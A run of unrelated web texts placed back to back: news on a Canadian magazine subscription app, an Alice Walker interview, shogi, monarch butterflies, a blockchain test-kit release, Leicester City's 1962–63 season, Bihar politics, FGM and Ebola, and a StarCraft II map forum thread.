"We aren't competing with other digital magazines," Morgan Guenther, chief executive officer of Palo Alto-based Next Issue Media, said in an interview. "We are competing for a share of leisure time against Netflix, against Google, against Amazon. We are competing for the last $10 of wallet share that is out there."
The move comes as the broader Canadian magazine industry struggles with several structural issues. Paid circulation fell 7 per cent in the first half of the year, according to the Alliance for Audited Media, and single copy sales were off 5.5 per cent. And like other media, printed magazines have taken a hit as advertisers find other ways to reach their target markets.
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Rogers doesn't break out its magazine revenue in its quarterly report, but has brought in outside consultants to help find ways to cut costs in the division as it adjusts to an increasingly digital world.
Digital editions are likely to play a key role in any transformation, but they are yet to be widely adopted by Canadian readers. Maclean's has the third-largest digital edition subscription rate with 5,600 subscribers compared to a print circulation of 313,007 (Canadian House and Home leads the industry with 11,000 followed by Readers Digest at 6,700).
"Audiences are accessing magazine content in more than one way," the Pew Research Center for Excellence in Journalism wrote in its 2013 review of the American magazine industry. "All of the publishers say that large numbers of their print subscribers now access mobile versions for at least some of their magazine reading. A slow transition is under way."
The Canadian app should help accelerate that transition. Publications that will be available include Maclean's, Chatelaine, Flare, Today's Parent, Sportsnet, Canadian Business, Loulou, MoneySense, Vogue, The New Yorker, Vanity Fair, GQ, Esquire, Fortune, Glamour, Rolling Stone, Sports Illustrated and Time.
Next Issue Canada will be available to Rogers wireless and cable customers Oct. 15 on iPads, Android tablets and Windows 8 devices, and then offered to the broader population a month later.Honestly, I didn't think much about Ryan Gosling a couple years back. He popped up on my radar though, strangely, when the Super Bowl was going on here in Indianapolis. I'm not into football really or the Super Bowl, but it was actually really fun watching everyone here in Indy on blogs and Facebook and stuff having fun hanging around downtown. So, while I was stalking my fun-having friends and acquaintances, I noticed someone shared a bunch of Boyfriend Ryan Gosling memes -Indianapolis Super Bowl edition. Now, I hadn't really even heard of the Hey Girl Ryan Gosling Meme or the Feminist Ryan Gosling memes, but something about these Hey Girl, Indy ones were just plain enjoyable to me. They are very specifically Indianapolis-centric and you probably won't find them amusing at all if you aren't from here - For instance "Hey Girl, You're so hot Paul Poteet gets confused." or "Hey Girl, There's more than corn in Indiana, but all I see is you."From then I started noticing Ryan Gosling more in movies. I loved him in Drive and in the recently SSL reviewed Only God Forgives. Anyway, he also has a reputation for being a feminist including speaking out on the NC17 rating for Blue Valentine - about how ridiculous it is that we see violent sexual acts done to women all the time on the big screen, but as soon as someone shows an explicit scene with a woman receiving a pleasurable sex act, everyone gets their panties in a bunch.So with all that, I thought I would do a twist on Hey Girl Ryan Gosling. I present to you - Orgasm Equality Hey Girl Ryan Gosling. Enjoy.Alice Walker is a poet, essayist, and commentator, but she’s best known for her prodigious accomplishments as a writer of literary fiction. Her novel The Color Purple won the Pulitzer Prize and National Book Award in 1983 and quickly became a classic of world literature. Set in an African-American community in the rural South during the decades before World War II, the novel is told in letters written by Celie, a woman who survives oppression and abuse with her spirit not only intact, but transcendent.
Walker’s writing is characterized by an ever-present awareness of injustice and inequality. But whether describing political struggle—as in Meridian, which deals with the civil rights movement—or meditating on the human relationship to nature and animals, as in her latest book, The Chicken Chronicles, her work conveys the possibility of change. In Walker’s vision, grace is available through love and a deep connection to the beauty of the world.
"I think the foundation of everything in my life is wonder."
Walker was born in the segregated South, the eighth child in a family who made their living as sharecroppers in Georgia. She came of age during the civil rights movement, and emerged early in her career as a defining voice in feminism and an advocate for African-American women writers. She is a prominent activist who has worked, marched, traveled, and spoken out to support the causes of justice, peace, and the welfare of the earth.
Alice Walker spoke to YES! about the challenges of working for change, and the possibility of living with awareness—and joy.
Valerie Schloredt: Over the past few days I’ve been immersed in your work, and I’ve been wondering how you do it. Being able to move someone to tears with a few words on a page is extraordinary to me.
Alice Walker: I want very much for you to feel for whoever I’m talking about, or whatever I’m talking about. Because it is only by empathy being aroused that we change. That is the power of writing. I’ve experienced exactly what you’re saying, reading other writers. I remember the book I first had that experience with was Jane Eyre, being right there with Jane, and understanding, yes, we have to change these horrible institutions where they abuse children. Today, I’m the supporter of an orphanage in Kenya. And one of the reasons comes from having been so moved by reading about Jane at Lowood.
Schloredt: It’s interesting to hear about what you read as a child, because some of your best-known work, like The Color Purple, draws on the stories of your ancestors and your family and aspects of the world you knew as a child.
Walker: I think the foundation of everything in my life is wonder. We were way out in the country, and why wouldn’t you just absolutely wonder at the splendor of nature? It’s true I had various sufferings, but nothing really compares to understanding that you live in a place that, moment by moment, is incredible. That your mother could say, “I think we’ll have tea tonight,” pull up a sassafras root, take it home, boil it, and you have sassafras tea. I mean, it’s such a miraculous universe. For a child, this magic is something that supports us, even through the hard times.
Schloredt: Do you go back to your childhood home?
Walker: It doesn’t exist.
Schloredt: No?
Walker: No. And there were many of them. We lived in shacks. Each year the people who owned the land (that they had stolen from the Indians), after they had taken the labor for the year, forced us to another shack. How could people do that, to people that they recognized as people? They did this to babies, they did this to small children, they could look at the people they were exploiting and actually see that they were working them into ill health and early death. It didn’t stop them.
"You have to go to the places that scare you so that you can see: What do you really believe? Who are you really?"
The most beautiful parts of the area that I lived in are now an enclave of upper-class white housing tracts with a huge golf course. They built a road that went right through the front yard of our church. Most of the people moved to cities, they moved to projects. So, it doesn’t exist.
Schloredt: Something I wanted to ask after listening to you talk last night [at the YES! celebration in Seattle], is the idea that some people don’t experience empathy, and don’t have a conscience that bothers them when they’re treating people extremely badly. Where can progressives go with that idea? How do we relate to knowing that?
Walker: You relate to it by being honest. We’re sitting back thinking that every single person has a conscience, if you could just reach it. Why should we believe that? I mean, what would make you actually believe that? Certainly not the history of the world as we know it. So it’s about trying to understand the history of the world, how it’s been shaped, and by whom, and for what purposes.
Understanding trumps compassion at this point. When people are forcing you out of your home, starving your children, destroying your planet—you should bring understanding of them to bear. Not everybody is loving of children, not everybody cares about the ocean. I think if we collectively decide that we are going to confront this, we have a chance. Because humanity is very smart, and we’d like to survive. And we’re not going to survive the way we’re going. I think we know that.
Schloredt: Your novels are among those books that cause people to say, “This book changed my life,” or “This book changed my way of thinking.” For me the book of yours that really did something to my way of thinking was Meridian.
That is a very powerful book. One thing that really affected me was the description of the cost of racism to the psyche, what a struggle it is to fight such embedded injustice. I think I saw you as the character Meridian. Are you—have you got some Meridian in you?
Walker: I think all people who struggle at the risk of their lives have some Meridian in them. It’s an acceptance of a kind of suffering. You hope that something will come of it, but there’s no way of knowing. What I didn’t realize was so close to me was how Meridian gets really sick as she encounters various struggles. She’s using every ounce of her will, her intelligence, her heart, her soul. It often leaves her debilitated. And that has certainly been true in my life. And it’s something that I have to accept.
"If you want to have a life that is worth living, a life that expresses your deepest feelings and emotions, and cares and dreams, you have to fight for it."
In Jackson, Mississippi, during the civil rights movement, the mayor had a tank that the town bought just to use against us. So there’s the possibility of the tank running over you, and you have to stand there. So I understood that, well, this is probably going to mean a few weeks of just being immobilized. And then you figure out ways to recuperate.
It’s learning to accept that the cost is great. It would have to be, because we’re talking about emotional intelligence and growth and stretching yourself, reaching for the sun, kind of as if you were a plant. It’s a difficult thing to change the world, your neighborhood, your family, your self.
Schloredt: Not only is Meridian risking her life, like the other civil rights activists in the South, but there’s also internal oppression, an inner struggle the characters deal with.
Walker: The inner struggle is extremely difficult for all of us, because we all have faults, severe ones, that we will struggle with forever. One of the things that I like about Meridian is that it is about how we like to have almost a stereotype about leaders and revolutionaries and world-changers, that they are always whole. It’s wise to accept that [human faults] are inevitable. Factor that in and keep going.
Schloredt: I love the passage where Meridian visits a black church after the assassination of Martin Luther King and finds that they’ve incorporated his rhetoric into the sermon.
Walker: This is the segment where B.B. King is in the stained-glass window with a sword—where the people needed to incorporate, as far as I was concerned at the time, a bit more militancy. More awareness of what you’re up against, and confronting that with real clarity. In some ways it’s the same issue that we’re talking about. You have to go to the places that scare you so that you can see: What do you really believe? Who are you really? Are you prepared to take this all the way to wherever the truth leads you and accept that you have to figure out different ways of confronting reality?
Schloredt: I wanted to ask you about Occupy and uprisings in the Middle East. You’ve been politically active over your lifetime. Is there advice that you would give to people who are organizing now in the United States?
Walker: If you want to have a life that is worth living, a life that expresses your deepest feelings and emotions, and cares and dreams, you have to fight for it. You have to go wherever you need to go, and you have to be wherever you need to be, and place yourself there against the forces that would distort you and destroy you.
I love the uprisings, I love the Occupy movement, and I think the young people especially are doing something that is very natural. It is natural to want to have a future. It is very natural to want to live in peace and joy. What is lovely about this time is the awareness that is sweeping the planet. People are just waking up, every moment.
Schloredt: One thing that I worry about for progressives is that we are often distracted from effective direct action by the project of improving ourselves, of being good.
Walker: And also, “good” in that sense can sometimes be very facile. And a good cover, you know, “I’m doing good, so I don’t have to change very much.” But I think for most Americans, the change that’s required is huge.
Schloredt: How do we make that change happen?
Walker: Well, you know, you’re doing it. I think YES! Magazine is part of what’s changing people’s consciousness. And I think the spread of Buddhism—the retreat centers, the meditation practice—has had a huge impact on people’s consciousness. Americans learning Buddhist tradition has helped a lot of people understand that they actually have a power that is theirs. They have their own mind. It’s not somebody else’s mind, and it’s not controllable, unless you permit it. That’s a foundation for huge change.
Schloredt: Your writing has, I’m sure, also changed consciousnesses. How does it feel to know that your work has in some way changed the world?
Walker: Well, it’s a gift the universe has permitted you to achieve—but it’s not just dropped in your lap, you have to really work for it. For instance, years ago when I wrote Possessing the Secret of Joy, the campaign against female genital mutilation [FGM] was a dangerous subject. There was a great deal of flak about my wanting to address it.
I wrote the book, and then Pratibha Parmar and I made the film [Warrior Marks, a documentary about FGM], and lugged it around Africa, and London, New York, all over. It allowed women who had no voice about FGM to speak. Progress is slow, and sometimes it’s discouraging. It’s like knocking on doors in the South asking people to vote, and they’re terrified of voting. And then seeing over the course of years that people started understanding that they had a right to reject the practice of FGM, that they had a voice. I feel grateful that I could be an instrument to stop any kind of suffering. I mean, what a joy.
Schloredt: In your novels you describe profound suffering and pain, but there is also often the potential for reconciliation and healing. If you could create healing and reconciliation for something that’s happening in our country today, what would it be?
Walker: I think the War on Terror is really absurd, especially coming from a country that is founded on terrorism. The hypocrisy of that is corrosive, and we should not accept it. There is no way to stop terrorism if you insist on making enemies of most of the people on the planet. Why should they care about you? All they feel is fear.
So I would stop the War on Terror, and I would start making peace with the peoples of the planet by trying to understand them. I would like us to be able to say, “If that happened to me, I would feel exactly the way you do. And what can we do from here, from this understanding? What can we do together?”Sota Fujii smiles after his victory against Toshiyuki Moriuchi in the second round of the NHK Cup shogi tournament, on Sept. 3, 2017. (Photo courtesy of the Japan Shogi Association)
Teen shogi star Sota Fujii scored a dazzling victory against distinguished player Toshiyuki Moriuchi in the second round of the NHK Cup on Sept. 3 to advance to the top 16.
Fujii, 15, defeated 46-year-old Moriuchi, an eight-time winner of the prestigious Meijin title, in a total of 94 moves. The win was Fujii's first against an opponent qualified to become a Lifetime Meijin. Moriuchi, a ninth-dan player, is five ranks above Fujii, who currently holds a fourth-dan rank.
In a rare move, public broadcaster NHK provided live coverage of the game -- only the second time it has done so, following its first live game coverage in 2008.
The win saved Fujii from a third consecutive loss following earlier back-to-back defeats, and brings his overall record to 39 wins and five losses.
In the Sept. 3 game, Moriuchi used a static rook opening, which he is said to play well, but Fujii attacked aggressively and got the upper hand, then showed off his renowned skills in the endgame to win.
"I think my decision to wage an active attack paid off," Fujii said after the game. "I'm happy to have been able to play ninth-dan Moriuchi, who is qualified to be a Lifetime Meijin."
Moriuchi, meanwhile, commented, "Fourth-dan Fujii was calm and played naturally, one move after another. He unveiled moves I wasn't expecting, and I was impressed."
Fujii's next game is against 22-year-old Daichi Sasaki, a fourth-dan player, on Sept. 7. The winner of that game will advance to the top four in the Shinjin-O tournament for new players. In the third round of the NHK Cup, Fujii will face 29-year-old Akira Inaba, an eighth-dan player who was this year's challenger for the Meijin title.A sweeping Canadian-led study of environmental influences on monarch butterflies has thrown into sharp focus what appears to be the most crucial factor affecting the migrating insect's survival: loss of milkweed in the U.S. Midwest due to a change in farming practices.
Monarchs lay their eggs on milkweed plants every spring and summer as successive generations migrate northward from Mexico as far as Canada. At the end of the breeding season a single "super generation" heads back south, travelling thousands of kilometres so that the cycle can begin anew.
In recent years the overwintering population in Mexico has been on a sharp downward trend, with lowest numbers ever recorded last December.
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The new study, published today in the Journal of Animal Ecology, draws on 30 years of earlier work including information about milkweed prevalence, logging in Mexico, climate change effects and monarch migration timing. Researchers used the wealth of data to assemble a computer model that allowed them to simulate the butterflies` yearly cycle.
"The model replicates, in our opinion, what's happening on an annual basis," said Tyler Flockhart, a post-doctoral researcher at the University of Guelph and lead author of the study.
"We provide the first direct evidence that the population decline is being driven by milkweed loss."
In the model, milkweed loss is estimated separately for different regions of Eastern North America, allowing researchers to "determine not only what is causing the decline of the monarch, but also where," said Ryan Norris, a professor of biology at Guelph.
The evidence points to the U.S. corn belt, where increased cultivation of genetically modified corn and soybean crops comes with a devastating side effect for milkweed.
When GM crops are planted, fields are sprayed with herbicides to wipe out any wild plants that don`t share the crops' genetically engineered protection. In the past, herbicides would typically be applied early in the growing season, when milkweed seeds are still underground. With GM crops, the spraying happens later, and any milkweed growing adjacent to the crops is hit hard.
Even before GM crops were adopted, milkweed was never overly abundant. Farmers found only "30 or 40 stems per acre," said Chip Taylor, an insect ecologist at the University of Kansas who was not involved in the study.
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Despite the modest number plants, a survey done in 2000 found that "corn and soybean fields were producing more monarchs per acre than anything else," said Dr. Taylor, who is also the director of Monarch Watch, a conservation and outreach group.
The study reaffirms that milkweed protection is essential to monarch recovery but officials have a lot of catching up to do.
In Ontario, for example, milkweed has been listed as a noxious weed for more than 60 years – a designation that only just changed on May 9 after a period of public consultation.
Under the Weed Control Act, "every person in possession of land is obligated to destroy all noxious weeds on it," said Mike Cowbrough, the province's weed specialist.
In the U.S. designations vary by state. Monarch Watch runs a program to encourage the planting milkweed across the U.S. and as of last week had shipped more than 30,000 'plugs' – immature plants that are about 10 centimetres tall – to schools and non-profits.
Researchers have also called for an international plan to co-ordinate monarch habitat protection.
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During trade talks last February Prime Minister Steven Harper, U.S. President Barack Obama and Mexican President Enrique Peña Nieto, agreed to such a plan in principle but so far, "there's no money on the table," Dr. Taylor said.Weaver and Hedrick, who risk their livelihood by speaking out, say that the chicken companies rig the system against the ordinary farmers who actually raise the birds for them. The companies supply the birds and feed, so the farmers describe themselves as modern sharecroppers, with no control over their operations, squeezed by the companies and punished if they protest.
A 12-piece KFC chicken meal costs about $30, and the farmers say their share is about 1 percent of that — less than the tax.
In fairness, the chicken companies excel at producing cheap food, with the price of chicken falling by at least half in real terms since 1930. Chicken is cheap partly because companies have tinkered with genetics so that a baby chick burgeons in five weeks to a full-size bird with an enormous breast. By my calculations, if humans grew that explosively, a baby at five weeks would weigh almost 300 pounds.
Yet today there’s growing recognition, from the Obama administration to rural America to urban foodies, that this agribusiness model is profoundly flawed.
“I wouldn’t say it is dysfunctional,” Weaver told me. “More like it is functioning very well for the companies and their executives only, and very poorly for farmers and consumers.”
The animal welfare issue is a bit complicated. Chickens raised for meat roam within a barn, so while conditions are grim, these chickens are at least better off than egg-laying hens crowded into tiny cages.
I’m also struck that less than 5 percent of the meat chickens die prematurely, which is lower than the mortality rates for humans in many countries I report in. In Angola, one child in six dies before the age of 5.Jelurida BV has released a version of the Nxt coresoftware that allows developers and project leaders to create and deploy private Nxt-based blockchain systems for use with rapid evaluation and testing of applications.
The Nxt Private Blockchain Evaluation Kit (PBEK) is a modified version of the core Nxt Reference Software (NRS) version 1.11.4. The PBEK does not use the public Nxt blockchain, but is designed to allow anyone to create an Nxt network in a lab/testing environment. It is configured to run as a testnet only, with 10 well-known genesis block accounts, using the numbers 0 to 9 as passwords, each account being pre-funded with 100m NXT.
In order to enable anyone using PBEK to ‘print money’, the Nxt Genesis account, the origin point of all NXT can be accessed with the password “Nxt” and be used to create even more NXT. This system will allow external projects to rapidly test and prototype their blockchain based applications in the lab.
Dave Pearce, Nxt Foundation: Nxt PBEK is the first such Software Development Kit to be released by a mainstream blockchain platform, and will lower the bar for developers who need a blockchain test environment
Lior Jaffe, developer for Jelurida BV: The Nxt Private Blockchain Evaluation Kit we have designed creates a safe, ready-made environment for businesses and developers to test how Nxt can be applied to their needs. It provides a comprehensive kit to answer any questions potential users might have regarding the efficacy of Nxt Blockchain technology.
Nxt PBEK is aimed at blockchain developers who need a test environment for application development before going live, and to businesses lookingto evaluate the suitability of the Nxt platform for their potential projects.
The PBEK can be downloaded from:
https://nxtforum.org/nrs-releases/private-blockchain-evaluation-kit-v1-11-4/The 1962–63 season was Leicester City's 58th season in the Football League and their 20th (non-consecutive) season in the first tier of English football. Under the management of Matt Gillies and starring players such as Gordon Banks, Frank McLintock and Dave Gibson, Leicester sensationally chased the double. Eventually falling short after losing 3-1 to Manchester United in the FA Cup Final and after gaining just one win from their final nine league games their title challenge collapsed and the Foxes eventually finished in a disappointing 4th position. [1][2]
Overview [ edit ]
The horrendous winter of 1962–63 was the coldest winter of the 20th century in England and Wales[3] and saw a plethora of games being called off: there was not a single First Division match played in England during the month of January 1963 and Leicester did not play a single game between Boxing Day 1962 and 9 February 1963.
As games began to start being played again after the lengthy hiatus, Leicester, on the icy pitches, began to gain huge momentum and went on a lengthy winning and unbeaten run which saw them top the table with 9 (and later 5 games) to go and reach the 1963 FA Cup Final.[4] However, as injuries took hold and the ice began to melt Leicester's momentum faded and they ended up winning just 1 of their final 9 games and losing the FA Cup final to Manchester United despite being hot favourites, after a dour performance. Despite chasing the double during the icy period as the season came to a close the Foxes ended up in a disappointing 4th position and as FA Cup runners-up.[3]
Between 10 November 1962 and 8 April 1963, Leicester went on a run of 18 matches unbeaten, earning themselves the nickname "the ice kings" and creating a club record which stood for 46 years, until it was beaten in the 2008-09 season, though Leicester were in a division two tiers lower than that of the 1962-63 side. Their run of 7 consecutive league wins between 9 February 1963 and 9 March 1963 is also a joint club record, though on each of the three other occasions this has been matched, Leicester were in the second tier.
Players [ edit ]
Leicester's creative attack was built around the skillful playmaker Dave Gibson[3] who forged a deadly partnership on the left of Leicester's attack with Mike Stringfellow. Ken Keyworth was the club's centre forward and prolific goalscorer upfront, while Howard Riley provided balance on the right-wing. Much of the flexibility in the side came from the athleticism of Frank McLintock and Graham Cross, who regularly changed positions during games which Gillies once claimed "utterly confused [the] opposition" as opposition players would often be asked to mark "our [Leicester's] number eight, so they thought Cross was their man, when McLintock had replaced him" as "players hadn't got beyond thinking about numbers then."
In defence, Leicester forged a fearsome half-back line of McLintock, Ian King and club captain Colin Appleton with John Sjoberg and Richie Norman as full-backs and legendary goalkeeper Gordon Banks in goal.
The Ice Kings were managed by Matt Gillies and his assistant Bert Johnson and were hugely influential in English football for their fluid "switch" and "whirl" systems and playing sequences of short probing passes to unlock defences and establishing the concept of positional flexibility and for their switching of positions, particularly of inside right and right-half Graham Cross and Frank McLintock, upsetting the tradition 1-11 formations in England and confusing opposition players, who were used to thinking in terms of rigid formations in the English game. Johnson had brought back this system from watching the great Hungary and Austria sides of the 1950s and he and Gillies developed their own version of the systems with Leicester.[3]
Gillies later said it "confused opposition" as opposition players would often be asked to mark "our [Leicester's] number eight, so they thought Cross was their man, when McLintock had replaced him" as "players hadn't got beyond thinking about numbers then."[5]
Results [ edit ]
Leicester City scores given first
Leicester City scores given first
Leicester City scores given first
First Division statistics [ edit ]
First Division table [ edit ]
Pos Club Pld W D L F A GA Pts 1 Everton 42 25 11 6 84 42 2.00 61 2 Tottenham Hotspur 42 23 9 10 111 62 1.79 55 3 Burnley 42 22 10 10 78 57 1.37 54 4 Leicester City 42 20 12 10 79 53 1.49 52 5 Wolverhampton Wanderers 42 20 10 12 93 65 1.43 50 6 Sheffield Wednesday 42 19 10 13 77 63 1.22 48
Pld = Matches played; W = Matches won; D = Matches drawn; L = Matches lost; F = Goals for; A = Goals against; GA = Goal average; Pts = Points
Club statistics [ edit ]
All data from: Dave Smith and Paul Taylor, Of Fossils and Foxes: The Official Definitive History of Leicester City Football Club (2001) (ISBN 1-899538-21-6)
Appearances [ edit ]
Starting XI [ edit ]
The following players have been named in the most starting line-ups. This line-up may differ from the list of players with most appearances.
Top Goalscorers [ edit ]The Bharatiya Janata Party’s big win in the Uttar Pradesh Assembly elections has paved the way for the coming together of the BJP and Janata Dal United in Bihar, with sources in both the parties saying that the coming together of the former alliance partners is likely to happen soon.
Sources close to Bihar Chief Minister Nitish Kumar, who had refused to field JDU candidates in the Uttar Pradesh elections despite the party cadre pushing for it, said that Nitish Kumar, who is facing troubles from a belligerent Lalu Prasad Yadav and his party leaders, including former CM and Lalu’s wife Rabri Devi who have, time and again, said that Lalu’s son Tejashwi Yadav should become the CM of Bihar, has been waiting for the Uttar Pradesh election results before “seriously embarking” on the path to re-join hands with the BJP.
“The results of the UP elections will change political equations in Bihar. We have said this before too that we will be very happy to support the JDU in Bihar. The people of Bihar also want this to happen as governance and administration have taken a back seat in the state because of the RJD’s strong arm tactics. The backdoor talks in this regard have been going on for some time now,” a senior BJP leader said. Asked whether the JDU was planning to rejoin hands with the BJP, a senior JDU source said that there was “nothing impossible at the present”. As the election results poured in on Saturday afternoon, Sushil Kumar Modi, senior BJP leader and former Deputy CM, indicating the growing closeness between the two parties, wrote on Twitter: “Nitishji not fighting UP elections also helped BJP? Thanks to Nitishji.”
The fact that JDU did not put up its candidates in UP despite Nitish Kumar, who is himself a Kurmi, holding three public meetings in the Kurmi belt of eastern UP in May, June and July last year, had, according to political observers, helped the BJP in securing the Kurmi vote bank in Varansai, Mirzapur and Phulpur.
Nitish Kumar, who had left the National Democratic Alliance (NDA) in the wake of the announcement of Narendra Modi as the BJP’s PM candidate in 2014, too, has not hidden his intention to erase any “negativity’ that he had for Modi. Despite his alliance partners in Bihar, the RJD and the Congress, coming out aggressively against the demonetisation drive, Nitish Kumar had extended his support to the move. Similarly, Prime Minister Narendra Modi, while speaking at the conclusion of “Prakash Parv”, a week-long festival held to mark the 350th birth anniversary of Guru Gobind Singh, held in Patna in January, had praised Nitish Kumar for imposing prohibition in Bihar. “It’s very tough to make changes in society. [Nitish Kumar] has taken up the issue of prohibition in Bihar to save future generations. I heartily congratulate him for this and also appeal to all political parties, people of Bihar and all those working for society to support his prohibition campaign,” the Prime Minister had said.
Earlier, Sushil Kumar Modi, while speaking to The Sunday Guardian, had advised Kumar to join hands with the BJP and form government by severing ties with the Rashtriya Janata Dal and the Congress. Sushil Modi had reminded Nitish Kumar that his 17-year-long association with the BJP-led National Democratic Alliance “was the golden period of his career during which he was the Railway Minister and CM of Bihar and enjoyed the trust of the BJP. But in the present Grand Alliance government, he is feeling suffocated both inside the House and outside.”Can you list the brands of dishwasher detergent that are compatible with fine china? I know them all by heart. Want to know which vacuum cleaner comes with the best guarantee? I’m your woman.
I am a gift list adviser for a large department store, and I know way too much about wedding presents. I assist soon to-be-weds with the gift selection process, advise their guests as they choose presents, and then make sure they are delivered in one piece for the big day.
Summer is not about trying to catch some sun on my lunch break: I’m far too busy trying to keep up with the challenges of peak wedding season |
reduced" during the epidemic. Performing FGM on a girl infected with Ebola could spread the virus to the practitioner, known as a sowei.
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Advocates from UNICEF and the World Health Organization are hoping they can use this time to campaign aggressively against the practice, which carries the risk of horrible physical and psychological complications as well as the potential for lifelong pain. (For a glimpse at just how permanently devastating FGM can be, Mariya Karimjee, a reporter based in Pakistan—who is also, full disclosure, a friend of mine—published a powerful essay today on undergoing FGM as a child in Karachi, and on the repercussions it's had on her life.)
But the Bondo have powerful social and political connections, and the cultural attachment to the practice is strong. There's also an economic side: soweis earn about $60 per girl, more than many women can make doing other kinds of work. Al Jazeera interviewed Musu Sankoh, a 35-year-old woman who worked as a sowei for 15 years before entering a life skills program offered by an anti-FGM group called the National Movement for Emancipation and Progress.
"It was not my intention to cut people," Sanko told Al Jazeera. "But I had to support my family."
AdvertisementYonnua Profile Blog Joined October 2011 United Kingdom 2225 Posts #2 Is there enough room between the no-fly zones for a Command Centre to float onto the island bases? LRSL 2014 Finalist! PartinG | Mvp | Bomber | Creator | NaNiwa | herO
RoomOfMush Profile Joined March 2015 1296 Posts #3 Well, this map definitely wins the "creative (TM)" election. Really impossible to judge how it will play out though.
Ej_ Profile Blog Joined January 2013 44306 Posts #4 very cool "Technically the dictionary has zero authority on the meaning or words" - Rodya
maximus_0 Profile Joined January 2013 United States 43 Posts #5 this is amazing
TheFish7 Profile Blog Joined February 2012 United States 2764 Posts #6 Awesome map, great name. Really intrigued to find out how those no-fly-zone island bases will play out. ~ ~ <°)))><~ ~ ~
DCStarcraftGall Profile Joined October 2015 102 Posts Last Edited: 2016-05-09 04:23:10 #7 Some Q's Jacky_ has answered in the DC post.
1. The spots in the "no- fly" zones allow any structure or unit to pass through. (Does not mention if they are big enough, but based on my eyeing the size and a reply to my stupid question(not featured because it was stupid), I think the CC should be able to pass through)
2. I'll try not to make it become Ulrena mk.2 lolol
3. There is enough space behind the mineral line to build defensive structures as well as some airspace for units. I will consider increasing the space upon further feedback.
4. The 'no fly zone' bases have two open spots because I felt it still should be rather vulnerable to drops and air units.
5. (Q. Won't tempests just own the entire thing) I am actually excited to see air battles between libs and tempests. of course, there will be other solutions than just massive air battles. Apparently there's this build where you keep 8 pheonix and rush to HT and Tempests. Tempests are super slow so maybe the opponent will take the top expansions and run circles around them or something. While I made a lot of island expansions, I also made it so that it is easy to take and defend the on-land expos as well, so I believe in the pro players!
6. The center island expos are close to land and can indeed be targeted by siege tanks, but you will have to travel a long way, and I figured that by the time you expand to the center expos, you will have sufficient army to deal with some tanks. Also, by being closer to land, players who are going for ground based armies will have an easier time taking it as well.
7. The middle rush path (currently) is the same as Ulrena (2x2). However, I did make these in between platforms so that players can build turrets and other stuff, to use as a HQ to deploy attacks. Should I enlarge it?
(Will change the center of the rush path to 3x3 and leave the start as 2x2. further feedback might be needed on this) SGall Believes: Stats has no probe, soO has lost again, D.Va is daughter of Stork, Dark has no league, Stork is fooled by Solar, sOs is a big guy.
Fatam Profile Joined June 2012 1986 Posts Last Edited: 2016-05-09 05:36:48 #8
Maybe also the 4th/5th/6th in the top left/right are a little too close together and easy to hold all 3. I feel like one of those bases should be a little more dangerous, else many people will just play with the land bases and ignore the islands.
Pretty cool concept overall, wouldn't mind seeing some games on it. I'm concerned about flying units getting stuck on the no fly zones, which has been one of the reasons they haven't been used yet in competitive maps in all of SC2 other than in 3p or 5p maps as concave edging. It's been tried but the air pathing just doesn't exist currently in the SC2 engine. I guess if you are ok with people having to use extra waypoints on their stuff to path around the blockers then it's fine.Maybe also the 4th/5th/6th in the top left/right are a little too close together and easy to hold all 3. I feel like one of those bases should be a little more dangerous, else many people will just play with the land bases and ignore the islands.Pretty cool concept overall, wouldn't mind seeing some games on it. Search "FTM" in SC2 | Latest Maps: http://www.teamliquid.net/forum/sc2-maps/528528-2-ftm-siegfried-station http://www.teamliquid.net/forum/sc2-maps/525489-2-ftm-crimson-aftermath http://www.teamliquid.net/forum/sc2-maps/524737-2-ftm-grime
L3monsta Profile Joined May 2012 New Zealand 148 Posts #9 Just throwing it out there.. but doesn't Blizzard have pretty strict rules as to how much doodads you add when it comes to ladder maps? Only pointing it out cause it looks like a lot.
I like the red to point out the no fly zones, I knew what it was before there was any explanation. Good job!
Shapelog Profile Joined November 2015 United States 5144 Posts #10 You know I really never understood Island expos like these in both a player's and Map makers concept. I just do not see enough incentive to take a base that I cannot support via ground except from investing in either Static D/Unit transports. Kinda be cool to see what happens if the islands gets changed to gold.
Anyways, the map looks awesome. "Subsequently clicking post is like launching a doomsday's worth of nukes' equivalent in dopamine." -RB explaining on why I spam, http://www.teamliquid.net/blogs/511870-mafia-flavor#18
InfCereal Profile Joined December 2011 Canada 1462 Posts #11 On May 11 2016 07:54 Shapelog wrote:
You know I really never understood Island expos like these in both a player's and Map makers concept. I just do not see enough incentive to take a base that I cannot support via ground except from investing in either Static D/Unit transports. Kinda be cool to see what happens if the islands gets changed to gold.
Anyways, the map looks awesome.
It doesn't make a lot of sense in SC2, because our air and harass potential is so strong. People are still trying to find a way to make it work such that the defending player isn't at a massive disadvantage. It doesn't make a lot of sense in SC2, because our air and harass potential is so strong. People are still trying to find a way to make it work such that the defending player isn't at a massive disadvantage. Cereal :: AllThingsZerg.com :: SC2Overwatch.com
Barrin Profile Blog Joined May 2010 United States 4997 Posts Last Edited: 2016-05-31 20:48:35 #12
This is a cool idea, but you need to have "good driving" as you say. I don't like it because of that.
Take them away and I really like it!!! 'No Fly Zone'This is a cool idea, but you need to have "good driving" as you say. I don't like it because of that.Take them away and I really like it!!! Grandfather of LotV's resource model. "Fewer Resources per Base"
Avexyli Profile Blog Joined April 2014 United States 673 Posts #13 I think the bottom islands are problematic.
But mostly what the problem is, are the entrances into these islands. If you have it so they face away from the general player paths it wouldn't be a problem. Face the entrances inward or have it be a north/south entrance so that units don't get trapped as often. AVEX - Winner of TLMC9 (1st and 4th), TLMC8 (1st and 3rd). 3x Finalist of TLMC7 (5th), 3x Finalist of TLMC10 (5th)
Fatam Profile Joined June 2012 1986 Posts #14 Realistically I think the NFZs simply have to go.
Maybe you could scoot the bottom islands slightly closer to the mains to compensate. Search "FTM" in SC2 | Latest Maps: http://www.teamliquid.net/forum/sc2-maps/528528-2-ftm-siegfried-station http://www.teamliquid.net/forum/sc2-maps/525489-2-ftm-crimson-aftermath http://www.teamliquid.net/forum/sc2-maps/524737-2-ftm-grime
ZigguratOfUr Profile Blog Joined April 2012 Iraq 13345 Posts #15 Yeah. Making the No Fly Zones not quite as buggy as before by changing the entrances probably wouldn't fly by Blizzard if you want the map to make it to ladder.
Superouman Profile Blog Joined August 2007 France 2077 Posts Last Edited: 2016-06-03 07:34:40 #16 From what ive seen, the no fly zone Walls had a small impact on games. You should remove them and you would still have a very unique map.
However, if you absolutely want to keep the walls, you should change them into short straight lines and avoid concaves at any cost.
[PkF] Wire Profile Joined March 2013 France 20658 Posts #17 The map is apparently being worked on to be brought on ladder next season. I hope they figure out what to do with the no-fly zones, they seem really problematic to me.
